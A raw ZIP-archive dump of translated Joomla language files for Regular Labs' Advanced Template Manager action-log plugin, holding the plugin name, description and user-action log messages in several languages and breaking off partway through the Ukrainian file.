ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[�+�55Tactionlog/advancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Con Advanced Template Manager hai
opzioni e funzionalità extra per gestire i tuoi template."

ATP_SETTINGS="Per favore leggi [[%1:start link%]]Template
Manager[[%2:end link%]] per le impostazioni."
ATP_THE_COMPONENT="Componente Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[���e��Xactionlog/advancedtemplates/language/it-IT/it-IT.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[8�L��Tactionlog/advancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="「Advanced Template
Manager」を使うと、テンプレートをコントロールする追加のオプションと機能が使えます。"

ATP_SETTINGS="設定 (パラメータ) については、[[%1:start
link%]]テンプレート管理[[%2:end
link%]]を参照して下さい。"
ATP_THE_COMPONENT="Advanced Template Manager
コンポーネント"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[���e��Xactionlog/advancedtemplates/language/ja-JP/ja-JP.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[���OOTactionlog/advancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Išplėstinė šablonų tvarkyklė"

ADVANCEDTEMPLATEMANAGER_DESC="Išplėstinė šablonų tvarkyklė
suteiks papildomas parinktis ir funkcionalumą šablonų valdymui."

ATP_SETTINGS="Peržiūrėkite [[%1:start link%]]Šablonų tvarkyklės
[[%2:end link%]] nustatymus."
ATP_THE_COMPONENT="Išplėstinės šablonų tvarkyklės
komponentas"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[���
��Xactionlog/advancedtemplates/language/lt-LT/lt-LT.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Išplėstinė šablonų tvarkyklė"
PK	�[n��yQQTactionlog/advancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Met Advanced Template Manager heb je
extra opties en functionaliteit om de controle te nemen over uw
templates."

ATP_SETTINGS="Gelieve het [[%1: start link%]]Template Beheer[[%2:end
link%]] te raadplegen voor instellingen"
ATP_THE_COMPONENT="het Advanced Template Manager component"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[���e��Xactionlog/advancedtemplates/language/nl-BE/nl-BE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[�;e�llTactionlog/advancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Actie Log - Regular Labs -
Geavanceerde Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sla de acties op van gebruikers
voor Geavanceerde Template Manager"
ADVANCEDTEMPLATEMANAGER="Geavanceerde Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Met Geavanceerde Template Manager heeft
u extra opties en functies om uw templates te controleren."

ATP_SETTINGS="AUB kijk in [[%1:start link%]]Templatebeheer[[%2:end
link%]] voor instellingen."
ATP_THE_COMPONENT="de Geavanceerde Template Manager component"
ATP_THE_SYSTEM_PLUGIN="de Geavanceerde Template Manager systeem
plug-in"

ATP_ACTION_FOLDER_FILE_ACTIONS="Map/Bestandsacties"
ATP_ACTION_TEMPLATE_COPY="Template kopiëren"
ATP_ACTIONLOGS_FILE_ADDED="Gebruiker <a
href='{accountlink}'>{username}</a> voegde <a
href='{filelink}'>{file}</a> toe aan template
{template}"
ATP_ACTIONLOGS_FILE_DELETED="Gebruiker <a
href='{accountlink}'>{username}</a> verwijderde {file}
van template {template}"
ATP_ACTIONLOGS_FILE_UPDATED="Gebruiker <a
href='{accountlink}'>{username}</a> updatete <a
href='{filelink}'>{file}</a> in template
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="Gebruiker <a
href='{accountlink}'>{username}</a> veranderde de
standaard template stijl naar <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Gebruiker <a
href='{accountlink}'>{username}</a> maakte een nieuwe
template genaamd '{to_name}' (copy of
'{from_name}')"
ATP_TEMPLATE_FILE="template bestand"
PK	�[��*`��Xactionlog/advancedtemplates/language/nl-NL/nl-NL.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Actie Log - Regular Labs -
Geavanceerde Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sla de acties op van gebruikers
voor Geavanceerde Template Manager"
ADVANCEDTEMPLATEMANAGER="Geavanceerde Template Manager"
PK	�[m0�aaTactionlog/advancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gerenciador Avançado de Temas"

ADVANCEDTEMPLATEMANAGER_DESC="Com o Gerenciador Avançado de Temas
você tem opções e funcionalidades extras para controlar teus
temas."

ATP_SETTINGS="Por favor, veja o [[%1: link inicial%]] Gerenciador de
Temas [[%2: link final%]] para configurações."
ATP_THE_COMPONENT="o componente de Gerenciador Avançado de
Temas"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[M�6`��Xactionlog/advancedtemplates/language/pt-BR/pt-BR.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Gerenciador Avançado de Temas"
PK	�[{�${@@Tactionlog/advancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Com o Advanced Template Manager terá
opções e funcionalidades adicionais para gerir os seus modelos."

ATP_SETTINGS="Por fgavor, ver configurações em[[%1:start
link%]]Gestor de modelos[[%2:end link%]]."
ATP_THE_COMPONENT="o componente Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[���e��Xactionlog/advancedtemplates/language/pt-PT/pt-PT.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[�����Tactionlog/advancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="С помощью Advanced Template
Manager у вас есть дополнительные варианты и
возможности для управления
шаблонами."

ATP_SETTINGS="Пожалуйста перейдите в [[%1:start
link%]]Advanced Template Manager[[%2:end link%]] для его
настройки."
ATP_THE_COMPONENT="компонент Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
href='{accountlink}'>{username}</a> changed the default
template style to <a
href='{style_link}'>{style_name}</a>"
; ATP_ACTIONLOGS_TEMPLATE_COPY="User <a
href='{accountlink}'>{username}</a> created a new
template called '{to_name}' (copy of
'{from_name}')"
; ATP_TEMPLATE_FILE="template file"
PK	�[���e��Xactionlog/advancedtemplates/language/ru-RU/ru-RU.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[��88Tactionlog/advancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktivitetslogg - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sparar aktiviteter för
användare av Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Med Advanced Template Manager får du
extra alternativ och funktioner till dina sidmallar."

ATP_SETTINGS="Gå till [[%1:start link%]]Mallar[[%2:end link%]] för
inställningar."
ATP_THE_COMPONENT="Komponenten Advanced Template Manager"
ATP_THE_SYSTEM_PLUGIN="Advanced Template Manager system-plugin"

ATP_ACTION_FOLDER_FILE_ACTIONS="Mapp/Fil-aktiviteter"
ATP_ACTION_TEMPLATE_COPY="Kopiera Sidmall"
ATP_ACTIONLOGS_FILE_ADDED="Användare <a
href='{accountlink}'>{username}</a> lade till <a
href='{filelink}'>{file}</a> till sidmall
{template}"
ATP_ACTIONLOGS_FILE_DELETED="Användare <a
href='{accountlink}'>{username}</a> tog bort {file}
från sidmallen {template}"
ATP_ACTIONLOGS_FILE_UPDATED="Användare <a
href='{accountlink}'>{username}</a> uppdaterade <a
href='{filelink}'>{file}</a> i sidmallen
{template}"
ATP_ACTIONLOGS_STYLE_SET_HOME="Användare <a
href='{accountlink}'>{username}</a> ändrade standard
sidmallstil till <a
href='{style_link}'>{style_name}</a>"
ATP_ACTIONLOGS_TEMPLATE_COPY="Användare <a
href='{accountlink}'>{username}</a> skpade en ny sidmall
kallad '{to_name}' (kopia av '{from_name}')"
ATP_TEMPLATE_FILE="sidmallfil"
PK	�[�8�|��Xactionlog/advancedtemplates/language/sv-SE/sv-SE.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Aktivitetslogg - Regular Labs -
Advanced Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Sparar aktiviteter för
användare av Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[am���Tactionlog/advancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Kullanıcıların Advanced
Template Manager bileşeninde yaptığı işlemler kaydededilir."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="Advanced Template Manager ile temaları
denetlemek için ek seçenek ve işlevler eklenebilir."

ATP_SETTINGS="Ayarlar için [[%1:start link%]]Template Manager sistem
uygulama eki[[%2:end link%]] bölümüne bakın."
ATP_THE_COMPONENT="Advanced Template Manager bileşeni"
ATP_THE_SYSTEM_PLUGIN="Advanced Template Manager Sistem Uygulama
Eki"

ATP_ACTION_FOLDER_FILE_ACTIONS="Klasör/Dosya İşlemleri"
ATP_ACTION_TEMPLATE_COPY="Temayı Kopyalayın"
ATP_ACTIONLOGS_FILE_ADDED="<a
href='{accountlink}'>{username}</a> kullanıcısı
{template} temasına <a href='{filelink}'>{file}</a>
dosyasını ekledi"
ATP_ACTIONLOGS_FILE_DELETED="<a
href='{accountlink}'>{username}</a> kullanıcısı
{template} temasından <a
href='{filelink}'>{file}</a> dosyasını sildi"
ATP_ACTIONLOGS_FILE_UPDATED="<a
href='{accountlink}'>{username}</a> kullanıcısı
{template} temasında <a href='{filelink}'>{file}</a>
dosyasını güncelledi"
ATP_ACTIONLOGS_STYLE_SET_HOME="<a
href='{accountlink}'>{username}</a> kullanıcısı
varsayılan tema biçemini <a
href='{style_link}'>{style_name}</a> olarak
değiştirdi"
ATP_ACTIONLOGS_TEMPLATE_COPY="<a
href='{accountlink}'>{username}</a> kullanıcısı
'{to_name}' ('{from_name}' kopyası) adında bir tema
oluşturdu"
ATP_TEMPLATE_FILE="Tema Dosyası"
PK	�[�uD��Xactionlog/advancedtemplates/language/tr-TR/tr-TR.plg_actionlog_advancedtemplates.sys.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs - Advanced
Template Manager"
PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Kullanıcıların Advanced
Template Manager bileşeninde yaptığı işlemler kaydededilir."
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"
PK	�[:���Tactionlog/advancedtemplates/language/uk-UA/uk-UA.plg_actionlog_advancedtemplates.ininu�[���;;
@package         Advanced Template Manager
;; @version         3.9.5
;; 
;; @author          Peter van Westen <info@regularlabs.com>
;; @link            http://www.regularlabs.com
;; @copyright       Copyright © 2021 Regular Labs All Rights Reserved
;; @license         http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
;; 
;; @translate       Want to help with translations? See:
https://www.regularlabs.com/translate

; PLG_ACTIONLOG_ADVANCEDTEMPLATES="Action Log - Regular Labs -
Advanced Template Manager"
; PLG_ACTIONLOG_ADVANCEDTEMPLATES_DESC="Record the actions of users
for Advanced Template Manager"
ADVANCEDTEMPLATEMANAGER="Advanced Template Manager"

ADVANCEDTEMPLATEMANAGER_DESC="З Advanced Template Manager ви
отримаєте додаткові можливості і
функціональність для управління вашими
шаблонами."

ATP_SETTINGS="Будь ласка використовуйте
[[%1:start link%]]Template Manager[[%2:end link%]] для
налаштування."
ATP_THE_COMPONENT="компонент Advanced Template Manager"
; ATP_THE_SYSTEM_PLUGIN="the Advanced Template Manager system
plugin"

; ATP_ACTION_FOLDER_FILE_ACTIONS="Folder/File Actions"
; ATP_ACTION_TEMPLATE_COPY="Copy Template"
; ATP_ACTIONLOGS_FILE_ADDED="User <a
href='{accountlink}'>{username}</a> added <a
href='{filelink}'>{file}</a> to template
{template}"
; ATP_ACTIONLOGS_FILE_DELETED="User <a
href='{accountlink}'>{username}</a> deleted {file} from
template {template}"
; ATP_ACTIONLOGS_FILE_UPDATED="User <a
href='{accountlink}'>{username}</a> updated <a
href='{filelink}'>{file}</a> in template
{template}"
; ATP_ACTIONLOGS_STYLE_SET_HOME="User <a
